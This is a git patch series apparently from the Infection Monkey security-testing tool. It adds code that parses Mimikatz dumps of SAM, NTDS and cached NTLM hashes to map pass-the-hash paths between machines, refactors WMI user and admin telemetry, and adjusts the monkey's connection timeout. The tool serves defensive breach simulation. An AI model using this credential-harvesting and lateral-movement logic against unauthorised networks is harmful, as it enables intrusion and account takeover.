- filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) - - ntlm = sam_user.get("NTLM") - if "[hashed secret]" not in ntlm: - continue - - sam[sam_user.get("User")] = ntlm.replace("[hashed secret]", "").strip() - - return sam - - except: - return {} - - @cache - def GetNtds(self): - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - if mimikatz.count("\n42.") != 2: - return {} - - ntds_users = mimikatz.split("\n42.")[2].split("\nRID :")[1:] - ntds = {} - - for ntds_user_txt in ntds_users: - user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() - ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() - ntlm = ntlm.replace("[hashed secret]", "").strip() - - if ntlm: - ntds[user] = ntlm - - return ntds - - @cache - def GetLocalSecrets(self): - sam = self.GetSam() - ntds = self.GetNtds() - - secrets = sam.copy() - secrets.update(ntds) - - return secrets - - @cache - def GetLocalAdminSecrets(self): - return set(self.GetLocalAdminCreds().values()) - - @cache - def GetLocalAdminCreds(self): - admin_names = self.GetLocalAdminNames() - sam = self.GetLocalSecrets() - - admin_creds = dict() - - for username, secret in sam.iteritems(): - if username not in admin_names: - continue - - admin_creds[username] = secret - - return admin_creds - - @cache - def GetCachedSecrets(self): - return set(self.GetCachedCreds().values()) - - @cache - def GetCachedCreds(self): - doc = self.latest_system_info - - creds = dict() - - if not self.GetMimikatzOutput(): - return {} - - mimikatz = self.GetMimikatzOutput() - - for user in mimikatz.split("\n42.")[0].split("Authentication Id")[1:]: - username = None - secret = None - - for line in user.splitlines(): - if "User Name" in line: - username = line.split(":")[1].strip() - - if ("NTLM" in line or "Password" in line) and "[hashed secret]" in line: - secret = line.split(":")[1].replace("[hashed secret]", "").strip() - - if username and secret: - creds[username] = secret - - return creds - - @cache - def GetDomainControllers(self): - domain_name = self.GetDomainName() - DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) - return map(Machine, DCs) - - def GetDomainAdminsOfMachine(self): - DCs = self.GetDomainControllers() - - domain_admins = set() - - for dc in DCs: - domain_admins |= set(dc.GetUsersByGroupSid(self.GetGroupSidByGroupName("Domain Admins")).keys()) - - return domain_admins - - #@cache - def GetAdmins(self): - return self.GetLocalAdminSids() # | self.GetDomainAdminsOfMachine() - - @cache - def GetAdminNames(self): - return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) - - #@cache - def GetCachedSids(self): - doc = self.latest_system_info - - SIDs = set() - - for username in doc.get('data').get("credentials", {}): - sid = self.GetSidByUsername(username) - - if not sid: - sid = "__USERNAME__" + username - - SIDs.add(sid) - - return SIDs - - @cache - def GetCachedUsernames(self): - doc = self.latest_system_info - - names = set() - - for username in doc.get('data').get("credentials", {}): - names.add(username) - - return names - - -class PassTheHashReport(object): - - def __init__(self): - self.vertices = self.GetAllMachines() - - self.machines = map(Machine, self.vertices) - self.edges = self.get_edges_by_sid() # Useful for non-cached domain users - #self.edges |= self.GetEdgesBySamHash() # This will add edges based only on password hash without caring about username - - - def GetAllMachines(self): - cur = mongo.db.telemetry.find({"telem_type": "system_info_collection"}) - - GUIDs = set() - - for doc in cur: - GUIDs.add(doc.get("monkey_guid")) - - return GUIDs - - @cache - def ReprSidList(self, sid_list, victim): - users_list = [] - - for sid in sid_list: - username = Machine(victim).GetUsernameBySid(sid) - - if username: - users_list.append(username) - - return users_list - - @cache - def ReprSecretList(self, secret_list, victim): - relevant_users_list = [] - - for secret in secret_list: - relevant_users_list.append(Machine(victim).GetUsernamesBySecret(secret)) - - return relevant_users_list - - @staticmethod - def __get_edge_label(attacker, victim): - attacker_monkey = NodeService.get_monkey_by_guid(attacker) - victim_monkey = NodeService.get_monkey_by_guid(victim) - - attacker_label = NodeService.get_monkey_label(attacker_monkey) - victim_label = NodeService.get_monkey_label(victim_monkey) - - RIGHT_ARROW = u"\u2192" - return "%s %s %s" % (attacker_label, RIGHT_ARROW, victim_label) - - - - - - def get_edges_by_sid(self): - edges_list = [] - - for attacker in self.vertices: - cached = list(self.GetCachedSids(Machine(attacker))) - - for victim in self.vertices: - if attacker == victim: - continue - - admins = list(Machine(victim).GetAdmins()) - - cached_admins = [i for i in cached if i in admins] - - if cached_admins: - relevant_users_list = self.ReprSidList(cached_admins, victim) - edges_list.append( - { - 'from': attacker, - 'to': victim, - 'users': relevant_users_list, - '_label': PassTheHashReport.__get_edge_label(attacker, victim), - 'id': str(uuid.uuid4()) - }) - - return edges_list - - @cache - def GetEdgesBySamHash(self): - edges = set() - - for attacker in self.vertices: - cached_creds = set(Machine(attacker).GetCachedCreds().items()) - - for victim in self.vertices: - if attacker == victim: - continue - - admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - - if len(cached_creds & admin_creds) > 0: - label = self.ReprSecretList(set(dict(cached_creds & admin_creds).values()), victim) - edges.add((attacker, victim, label)) - - return edges - - @cache - def GetEdgesByUsername(self): - edges = set() - - for attacker in self.vertices: - cached = Machine(attacker).GetCachedUsernames() - - for victim in self.vertices: - if attacker == victim: - continue - - admins = Machine(victim).GetAdminNames() - - if len(cached & admins) > 0: - edges.add((attacker, victim)) - - return edges - - @cache - def GetPossibleAttackCountBySid(self, sid): - return len(self.GetPossibleAttacksBySid(sid)) - - @cache - def GetPossibleAttacksByAttacker(self, attacker): - attacks = set() - - cached_creds = set(Machine(attacker).GetCachedCreds().items()) - - for victim in self.vertices: - if attacker == victim: - continue - - admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - - if len(cached_creds & admin_creds) > 0: - curr_attacks = dict(cached_creds & admin_creds) - attacks.add((attacker, victim, curr_attacks)) - - return attacks - - @cache - def GetPossibleAttacksBySid(self, sid): - attacks = set() - - for attacker in self.vertices: - tmp = self.GetPossibleAttacksByAttacker(attacker) - - for _, victim, curr_attacks in tmp: - for username, secret in curr_attacks.iteritems(): - if Machine(victim).GetSidByUsername(username) == sid: - attacks.add((attacker, victim)) - - return attacks - - @cache - def GetSecretBySid(self, sid): - for m in self.machines: - for user, user_secret in m.GetLocalSecrets().iteritems(): - if m.GetSidByUsername(user) == sid: - return user_secret - - return None - - @cache - def GetVictimCountBySid(self, sid): - return len(self.GetVictimsBySid(sid)) - - @cache - def GetVictimCountByMachine(self, attacker): - return len(self.GetVictimsByAttacker(attacker)) - - @cache - def GetAttackCountBySecret(self, secret): - return len(self.GetAttackersBySecret(secret)) - - @cache - def GetAllUsernames(self): - names = set() - - for sid in self.GetAllSids(): - names.add(self.GetUsernameBySid(sid)) - - return names - - @cache - def GetAllSids(self): - SIDs = set() - - for m in self.machines: - SIDs |= m.GetLocalSids() - - return SIDs - - @cache - def GetAllSecrets(self): - secrets = set() - - for m in self.machines: - for secret in m.GetLocalAdminSecrets(): - secrets.add(secret) - - return secrets - - @cache - def GetUsernameBySid(self, sid): - for m in self.machines: - username = m.GetUsernameBySid(sid) - - if username: - return username - - return None - - @cache - def GetSidInfo(self, sid): - for m in self.machines: - info = m.GetSidInfo(sid) - - if info: - return info - - return None - - @cache - def GetSidsBySecret(self, secret): - SIDs = set() - - for m in self.machines: - SIDs |= m.GetSidsBySecret(secret) - - return SIDs - - @cache - def GetAllDomainControllers(self): - DCs = set() - - for m in self.machines: - if m.IsDomainController(): - DCs.add(m) - - return DCs - - @cache - def GetSidsByUsername(self, username): - SIDs = set() - - for m in self.machines: - sid = m.GetSidByUsername(username) - if sid: - SIDs.add(sid) - - return SIDs - - @cache - def GetVictimsBySid(self, sid): - machines = set() - - for m in self.machines: - if sid in m.GetAdmins(): - machines.add(m) - - return machines - - @cache - def GetVictimsBySecret(self, secret): - machines = set() - - SIDs = self.GetSidsBySecret(secret) - - for m in self.machines: - if len(SIDs & m.GetAdmins()) > 0: - machines.add(m) - - return machines - - @cache - def GetAttackersBySecret(self, secret): - machines = set() - - for m in self.machines: - if secret in m.GetCachedSecrets(): - machines.add(m) - - return machines - - @cache - def GetAttackersByVictim(self, victim): - if type(victim) != unicode: - victim = victim.monkey_guid - - attackers = set() - - for edge in self.edges: - if edge.get('to', None) == victim: - attackers.add(edge.get('from', None)) - - return set(map(Machine, attackers)) - - @cache - def GetAttackersBySid(self, sid): - machines = set() - - for m in self.machines: - if sid in self.GetCachedSids(m): - machines.add(m) - - return machines - - @cache - def GetVictimsByAttacker(self, attacker): - if type(attacker) != unicode: - attacker = attacker.monkey_guid - - victims = set() - - for atck, vic, _ in self.edges: - if atck == attacker: - victims.add(vic) - - return set(map(Machine, victims)) - - @cache - def GetInPathCountByVictim(self, victim, already_processed=None): - if type(victim) != unicode: - victim = victim.monkey_guid - - if not already_processed: - already_processed = set([victim]) - - count = 0 - - for atck, vic, _ in self.edges: - if atck == vic: - continue - - if vic != victim: - continue - - if atck in already_processed: - continue - - count += 1 - - already_processed.add(atck) - count += self.GetInPathCountByVictim(atck, already_processed) - - return count - - @cache - def GetCritialServers(self): - machines = set() - - for m in self.machines: - if m.IsCriticalServer(): - machines.add(m) - - return machines - - @cache - def GetNonCritialServers(self): - return set(self.machines) - self.GetCritialServers() - - #@cache - def GetCachedSids(self, m): - sids = set() - tmp = m.GetCachedSids() - - for sid in tmp: - if sid.startswith("__USERNAME__"): - - s = self.GetSidsByUsername(sid[len("__USERNAME__"):]) - if len(s) == 1: - sids.add(s.pop()) - else: - sids.add(sid) - - else: - sids.add(sid) - - return sids - - @cache - def GetThreateningUsersByVictim(self, victim): - threatening_users = set() - - for attacker in self.GetAttackersByVictim(victim): - # For each attacker, get the cached users and check which of them is an admin on the victim - threatening_users |= (self.GetCachedSids(attacker) & victim.GetAdmins()) - - return threatening_users - - def GetSharedAdmins(self, m): - shared_admins = [] - - for other in self.machines: - if m == other: - continue - for sid in m.GetLocalAdminSids(): - if sid in other.GetLocalAdminSids(): - shared_admins.append(sid) - - #shared_admins |= (m.GetLocalAdminSids() & other.GetLocalAdminSids()) - - shared_admins = [admin for admin in shared_admins if admin not in list(m.GetDomainAdminsOfMachine())] - - return shared_admins diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 304867495..f82f1518d 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -684,7 +684,6 @@ class ReportService: config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() cross_segment_issues = ReportService.get_cross_segment_issues() - pth_report = PTHReportService.get_report() report = \ { @@ -717,8 +716,8 @@ class ReportService: }, 'pth': { - 'strong_users': pth_report['report_info']['strong_users_table'], - 'map': pth_report.get('pthmap'), + 'strong_users': PTHReportService.get_strong_users_on_crit_details(), + 'map': PTHReportService.get_pth_map(), } } From a44e9a901f9528acfe2ed44b689dc9d08ac8dc80 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 17 Oct 2018 16:45:48 +0300 Subject: [PATCH 218/243] Limit monkey lookup in find_server. Prevents a situation where the Monkey attempts to connect to a server, but it's not accessible over the regular port but requires a tunnel. However the Monkey on the other side will quit before getting the tunnel request because the isolated monkey is waiting forever --- monkey/infection_monkey/control.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 7322322e7..ea7507626 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -19,6 +19,9 @@ requests.packages.urllib3.disable_warnings() LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 +# random number greater than 5, +# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. +TIMEOUT = 9 class ControlClient(object): @@ -72,7 +75,8 @@ class ControlClient(object): LOG.debug(debug_message) requests.get("https://%s/api?action=is-up" % (server,), verify=False, - proxies=ControlClient.proxies) + proxies=ControlClient.proxies, + timeout=TIMEOUT) WormConfiguration.current_server = current_server break From 372a08791da57bf7874b7cee58e800acb004920e Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 18 Oct 2018 15:47:12 +0300 Subject: [PATCH 219/243] Change timeout --- monkey/infection_monkey/control.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index ea7507626..98ad55671 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -21,7 +21,7 @@ LOG = logging.getLogger(__name__) DOWNLOAD_CHUNK = 1024 # random number greater than 5, # to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. -TIMEOUT = 9 +TIMEOUT = 15 class ControlClient(object): From c208d0ebe80d32dff154637bf613faa95e95d0c3 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 18 Oct 2018 17:10:14 +0300 Subject: [PATCH 220/243] re-arranged the code and cleaned up a bit --- .../monkey_island/cc/resources/telemetry.py | 154 ++---------------- .../monkey_island/cc/services/group_info.py | 4 - monkey/monkey_island/cc/services/user_info.py | 2 + .../cc/services/wmi_info_handler.py | 148 +++++++++++++++++ 4 files changed, 162 insertions(+), 146 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/group_info.py create mode 100644 monkey/monkey_island/cc/services/wmi_info_handler.py diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 644fd6984..efd5e2414 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -1,5 +1,4 @@ import json -import traceback import logging import copy from datetime import datetime @@ -10,11 +9,12 @@ from flask import request from cc.auth import jwt_required from cc.database import mongo -from cc.services import user_info, group_info +from cc.services import user_info from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.encryptor import encryptor +from cc.services.wmi_info_handler import WMIHandler __author__ = 'Barak' @@ -188,147 +188,17 @@ class Telemetry(flask_restful.Resource): if 'mimikatz' in telemetry_json['data']: users_secrets = user_info.extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) if 'wmi' in telemetry_json['data']: - info_for_mongo = {} - users_info = telemetry_json['data']['wmi']['Win32_UserAccount'] - groups_info = telemetry_json['data']['wmi']['Win32_Group'] - group_user_dict = telemetry_json['data']['wmi']['Win32_GroupUser'] - Telemetry.add_groups_to_collection(groups_info, info_for_mongo, monkey_id) - Telemetry.add_users_to_collection(users_info, info_for_mongo, users_secrets, monkey_id) - Telemetry.create_group_user_connection(info_for_mongo, group_user_dict) - for entity in info_for_mongo.values(): - if entity['machine_id']: - # Handling for local entities. - mongo.db.groupsandusers.update({'SID': entity['SID'], - 'machine_id': entity['machine_id']}, entity, upsert=True) - else: - # Handlings for domain entities. - if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}): - mongo.db.groupsandusers.insert_one(entity) - else: - # if entity is domain entity, add the monkey id of current machine to secrets_location. - # (found on this machine) - if entity.get('NTLM_secret'): - mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': 1}, - {'$addToSet': {'secret_location': monkey_id}}) - - Telemetry.add_admin(info_for_mongo[group_info.ADMINISTRATORS_GROUP_KNOWN_SID], monkey_id) - Telemetry.update_admins_retrospective(info_for_mongo) - Telemetry.update_critical_services(telemetry_json['data']['wmi']['Win32_Service'], - telemetry_json['data']['wmi']['Win32_Product'], - monkey_id) - - @staticmethod - def update_critical_services(wmi_services, wmi_products, machine_id): - critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') - - services_names_list = [str(i['Name'])[2:-1] for i in wmi_services] - products_names_list = [str(i['Name'])[2:-2] for i in wmi_products] - - for name in critical_names: - if name in services_names_list or name in products_names_list: - logger.info('found a critical service') - mongo.db.monkey.update({'_id': machine_id}, {'$addToSet': {'critical_services': name}}) - - @staticmethod - def update_admins_retrospective(info_for_mongo): - for profile in info_for_mongo: - groups_from_mongo = mongo.db.groupsandusers.find({'SID': {'$in': info_for_mongo[profile]['member_of']}}, - {'admin_on_machines': 1}) - for group in groups_from_mongo: - if group['admin_on_machines']: - mongo.db.groupsandusers.update_one({'SID': info_for_mongo[profile]['SID']}, - {'$addToSet': {'admin_on_machines': { - '$each': group['admin_on_machines']}}}) - - @staticmethod - def add_admin(group, machine_id): - for sid in group['entities_list']: - mongo.db.groupsandusers.update_one({'SID': sid}, - {'$addToSet': {'admin_on_machines': machine_id}}) - entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, - {'type': 1, 'entities_list': 1}) - if entity_details.get('type') == 2: - Telemetry.add_admin(entity_details, machine_id) - - @staticmethod - def add_groups_to_collection(groups_info, info_for_mongo, monkey_id): - for group in groups_info: - if not group.get('LocalAccount'): - base_entity = Telemetry.build_entity_document(group) - else: - base_entity = Telemetry.build_entity_document(group, monkey_id) - base_entity['entities_list'] = [] - base_entity['type'] = 2 - info_for_mongo[base_entity.get('SID')] = base_entity - - @staticmethod - def add_users_to_collection(users_info, info_for_mongo, users_secrets, monkey_id): - for user in users_info: - if not user.get('LocalAccount'): - base_entity = Telemetry.build_entity_document(user) - else: - base_entity = Telemetry.build_entity_document(user, monkey_id) - base_entity['NTLM_secret'] = users_secrets.get(base_entity['name'], {}).get('ntlm') - base_entity['SAM_secret'] = users_secrets.get(base_entity['name'], {}).get('sam') - base_entity['secret_location'] = [] - - base_entity['type'] = 1 - info_for_mongo[base_entity.get('SID')] = base_entity - - @staticmethod - def build_entity_document(entity_info, monkey_id=None): - general_properties_dict = { - 'SID': str(entity_info['SID'])[4:-1], - 'name': str(entity_info['Name'])[2:-1], - 'machine_id': monkey_id, - 'member_of': [], - 'admin_on_machines': [] - } - - if monkey_id: - general_properties_dict['domain_name'] = None - else: - general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1] - - return general_properties_dict - - @staticmethod - def create_group_user_connection(info_for_mongo, group_user_list): - for group_user_couple in group_user_list: - group_part = group_user_couple['GroupComponent'] - child_part = group_user_couple['PartComponent'] - group_sid = str(group_part['SID'])[4:-1] - groups_entities_list = info_for_mongo[group_sid]['entities_list'] - child_sid = '' - - if type(child_part) in (unicode, str): - child_part = str(child_part) - if "cimv2:Win32_UserAccount" in child_part: - # domain user - domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] - name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2] - - if "cimv2:Win32_Group" in child_part: - # domain group - domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0] - name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2] - - for entity in info_for_mongo: - if info_for_mongo[entity]['name'] == name and info_for_mongo[entity]['domain'] == domain_name: - child_sid = info_for_mongo[entity]['SID'] - else: - child_sid = str(child_part['SID'])[4:-1] - - if child_sid and child_sid not in groups_entities_list: - groups_entities_list.append(child_sid) - - if child_sid: #and info_for_mongo.get(child_sid, {}).get('type') == 1: - if child_sid in info_for_mongo: - info_for_mongo[child_sid]['member_of'].append(group_sid) - - -################################################################ + wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) + wmi_handler.add_groups_to_collection() + wmi_handler.add_users_to_collection() + wmi_handler.create_group_user_connection() + wmi_handler.insert_info_to_mongo() + wmi_handler.add_admin(wmi_handler.info_for_mongo[wmi_handler.ADMINISTRATORS_GROUP_KNOWN_SID], monkey_id) + wmi_handler.update_admins_retrospective() + wmi_handler.update_critical_services(telemetry_json['data']['wmi']['Win32_Service'], + telemetry_json['data']['wmi']['Win32_Product'], + monkey_id) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/group_info.py b/monkey/monkey_island/cc/services/group_info.py deleted file mode 100644 index 5b4008ef6..000000000 --- a/monkey/monkey_island/cc/services/group_info.py +++ /dev/null @@ -1,4 +0,0 @@ - - -ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' - diff --git a/monkey/monkey_island/cc/services/user_info.py b/monkey/monkey_island/cc/services/user_info.py index 9bbdb38cb..c69a011a6 100644 --- a/monkey/monkey_island/cc/services/user_info.py +++ b/monkey/monkey_island/cc/services/user_info.py @@ -41,3 +41,5 @@ def extract_secrets_from_mimikatz(mim_string): extract_ntlm_secrets(mim_string, users_dict) return users_dict + + diff --git a/monkey/monkey_island/cc/services/wmi_info_handler.py b/monkey/monkey_island/cc/services/wmi_info_handler.py new file mode 100644 index 000000000..133f4742a --- /dev/null +++ b/monkey/monkey_island/cc/services/wmi_info_handler.py @@ -0,0 +1,148 @@ +from cc.database import mongo + + +class WMIHandler: + + ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' + + def __init__(self, monkey_id, wmi_info, user_secrets): + + self.monkey_id = monkey_id + self.info_for_mongo = {} + self.users_secrets = user_secrets + self.users_info = wmi_info['Win32_UserAccount'] + self.groups_info = wmi_info['Win32_Group'] + self.groups_and_users = wmi_info['Win32_GroupUser'] + + def process_and_handle(self): + + self.add_groups_to_collection() + self.add_users_to_collection() + self.create_group_user_connection() + self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) + self.update_admins_retrospective() + self.insert_info_to_mongo() + + def update_critical_services(self, wmi_services, wmi_products, machine_id): + critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') + + services_names_list = [str(i['Name'])[2:-1] for i in wmi_services] + products_names_list = [str(i['Name'])[2:-2] for i in wmi_products] + + for name in critical_names: + if name in services_names_list or name in products_names_list: + mongo.db.monkey.update({'_id': machine_id}, {'$addToSet': {'critical_services': name}}) + + def build_entity_document(self, entity_info, monkey_id=None): + general_properties_dict = { + 'SID': str(entity_info['SID'])[4:-1], + 'name': str(entity_info['Name'])[2:-1], + 'machine_id': monkey_id, + 'member_of': [], + 'admin_on_machines': [] + } + + if monkey_id: + general_properties_dict['domain_name'] = None + else: + general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1] + + return general_properties_dict + + def add_users_to_collection(self): + for user in self.users_info: + if not user.get('LocalAccount'): + base_entity = self.build_entity_document(user) + else: + base_entity = self.build_entity_document(user, self.monkey_id) + base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm') + base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam') + base_entity['secret_location'] = [] + + base_entity['type'] = 1 + self.info_for_mongo[base_entity.get('SID')] = base_entity + + def add_groups_to_collection(self): + for group in self.groups_info: + if not group.get('LocalAccount'): + base_entity = self.build_entity_document(group) + else: + base_entity = self.build_entity_document(group, self.monkey_id) + base_entity['entities_list'] = [] + base_entity['type'] = 2 + self.info_for_mongo[base_entity.get('SID')] = base_entity + + def create_group_user_connection(self): + for group_user_couple in self.groups_and_users: + group_part = group_user_couple['GroupComponent'] + child_part = group_user_couple['PartComponent'] + group_sid = str(group_part['SID'])[4:-1] + groups_entities_list = self.info_for_mongo[group_sid]['entities_list'] + child_sid = '' + + if type(child_part) in (unicode, str): + child_part = str(child_part) + name = None + domain_name = None + if "cimv2:Win32_UserAccount" in child_part: + # domain user + domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] + name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2] + + if "cimv2:Win32_Group" in child_part: + # domain group + domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0] + name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2] + + for entity in self.info_for_mongo: + if self.info_for_mongo[entity]['name'] == name and \ + self.info_for_mongo[entity]['domain'] == domain_name: + child_sid = self.info_for_mongo[entity]['SID'] + else: + child_sid = str(child_part['SID'])[4:-1] + + if child_sid and child_sid not in groups_entities_list: + groups_entities_list.append(child_sid) + + if child_sid: + if child_sid in self.info_for_mongo: + self.info_for_mongo[child_sid]['member_of'].append(group_sid) + + def insert_info_to_mongo(self): + for entity in self.info_for_mongo.values(): + if entity['machine_id']: + # Handling for local entities. + mongo.db.groupsandusers.update({'SID': entity['SID'], + 'machine_id': entity['machine_id']}, entity, upsert=True) + else: + # Handlings for domain entities. + if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}): + mongo.db.groupsandusers.insert_one(entity) + else: + # if entity is domain entity, add the monkey id of current machine to secrets_location. + # (found on this machine) + if entity.get('NTLM_secret'): + mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': 1}, + {'$addToSet': {'secret_location': self.monkey_id}}) + + def update_admins_retrospective(self): + for profile in self.info_for_mongo: + groups_from_mongo = mongo.db.groupsandusers.find({ + 'SID': {'$in': self.info_for_mongo[profile]['member_of']}}, + {'admin_on_machines': 1}) + + for group in groups_from_mongo: + if group['admin_on_machines']: + mongo.db.groupsandusers.update_one({'SID': self.info_for_mongo[profile]['SID']}, + {'$addToSet': {'admin_on_machines': { + '$each': group['admin_on_machines']}}}) + + def add_admin(self, group, machine_id): + for sid in group['entities_list']: + mongo.db.groupsandusers.update_one({'SID': sid}, + {'$addToSet': {'admin_on_machines': machine_id}}) + entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, + {'type': 1, 'entities_list': 1}) + if entity_details.get('type') == 2: + self.add_admin(entity_details, machine_id) + From 029c278a82ccd4013b883e8649766b7330cb35e7 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 18 Oct 2018 18:34:34 +0300 Subject: [PATCH 221/243] added png assets for the report --- .../cc/ui/src/images/nodes/pth/critical.png | Bin 0 -> 20067 bytes .../cc/ui/src/images/nodes/pth/normal.png | Bin 0 -> 19466 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png create mode 100644 monkey/monkey_island/cc/ui/src/images/nodes/pth/normal.png diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png b/monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png new file mode 100644 index 0000000000000000000000000000000000000000..0348a7f5d312b0400da47f60a5f2d81682bd19a6 GIT binary patch literal 20067 zcmeHPYgm)Vww?eQs5P;&1Zq((7T8IMjpu7F01~l;o8)@Pde9S z2nU*cP0PB>11sqtJ_&y2%P^!bOz8@7XeY`+J*1he8-ri>8w22_IR5QYc!}rFmcR?` z*hnG4tN9Ae170UKvAp2Lyw3H8SL&xkL&7+O=Md5He@Gp*=M8F}rQt!#L|~+_NsJb= zUs$ZpcyS-6YLIiABY1HjDOXV8$kU5lz+mF@0VNN$+0X21$_)Ov#*TGk)bXas7rM(6 z<-LnQZmhbK9v`Mma6LBd-f@xUKeOggS-;1o~IhPc5-(EBXLDC@foNoL9$aY{`9RA~!3 zKGUVH48B>=0ky7nKG40ON|Po>GMBMVj9KNt#_5~;K8UIcWIZb*eEkzxLowIxbLQT3 zwa8XcK=6KhVv4It9}BV#AX8_9+4{f4;AOn#D<$lX(?@HmX$f7$AxYJ?hgGe(8~rm~ zol=_QIObFE1I@5sCrGbwJj*J43uJ+xvm|}`$_vg+AE;ZnQ5_LTTdA7uRk;J>w~D_KlpVJwCeBmW;)Yb+@66cAGu#{?b{J z%VqgbI+?hjp`Obdqf6Zo{ORWP@SC@q5*W6ZTi&~+RM4r~{|We(IN}ZExfb&*{snHi zwz9}6#JWlPvsUwF=u+!40t7TN_HIQz_sv*J?42b)jKGbiGK)gXXk~l%tR98;F%hYu zTjN>rZ;U!VVI2HCs7bzE&Mkj?!aH+jz)#w(Tf5VAsUHS!-y8!!nP2AlbT)SEkGpr{ z6#Pu}BKzL`ws!orZ$4k_9xEmA>)Ddo9|t`A68uc@25mLbF=6We-nmYSOi8vn`G9n& z2_oWK?FVP92YX&9v&7bpR~~r4WtQ81)VrQc`{?jlsiDBBcJ(OR8Fyn(UbneKmatnY z?ti@Z=vR6BaJ9MQBXeH);jgKohoJN~UGh(LuUz>pO5kBAt)#8~`BgNmti81iO4kq|6z()6bLpT z+`#>3R$@^g*nn6Rh(%%eKV1kmAlQIl1A+|*HhB5}s>DfwI4KY(1>&SI{6P!B1_T=r zY(TI9!3O{SN{=`&5(h@&!1(|A!00lo2W6rcTKHJkxItTSI;TYQ7Z&l2F7Z_|@f|kt zLdtEqjT1Vy?d|!sH+y{edRBZ!LX@Z;GK9oa2L`9(yp&lJ=Fgc0O~V4o zzW&Q_h5I-)#DF#j#`s?P+xP54r^7KoIzVfWF33pxJb#oOjMrRZxOl+Zx08g{VwoMxL z6}P;z^2*C98mN-0ORdk?+Q~US6t($d0DCjt+WKU;T$S-Tqyj-1wSiOkGJB|1v=x>gu*`}Aj20Gb)8{`UEApzt4exsI_-N})P9{1x@FhMo@1j=zV2{Rp(9J3AOz8c z)(_YVkELGV+Qtm0aLKadcx0M{Ead@!Dx-xTjkAY@gg75&$#KThl-3VI79KNBJ6bCl z*W`lSvY`Vv3n#KgRzJvl5~uI)spUmgId5+BiC)g)ziv8Ugsd)6wzU|WKD{D$?yeaf z4Ks1l+RPe9?~y)vb*s}PQ-=aFzg5c$Eg?%?&*E+$Sx=#F;pbIVSJ}vYLNiE>X_etF z$M2TQOMRj@v%;3}ug42IQo+AKklQ|}ZM?QSNQ%?!(zJemK8CEREz*#iE@sU|Xv-@p zQ)Y<9D6>?q%o!b!;Akzb!lJ{_el4GJ}IXDqxOMc|q#?>(% zwJ{z~OsdH-G2{aS=S425>+ea<(lYgKXEwNm*z=A#F03%2ROvjzi;^`vpB{hKcxd+y zDJ?w6bimfkn69|)p3!=hR98Gk)0t^?B-Ol!!h9)H`8Oa(x?pPi_A2L7U0;&?7DveijL2upA|o}eV-$MM5_%H5|3s&b=3ca*qjzh5(izN 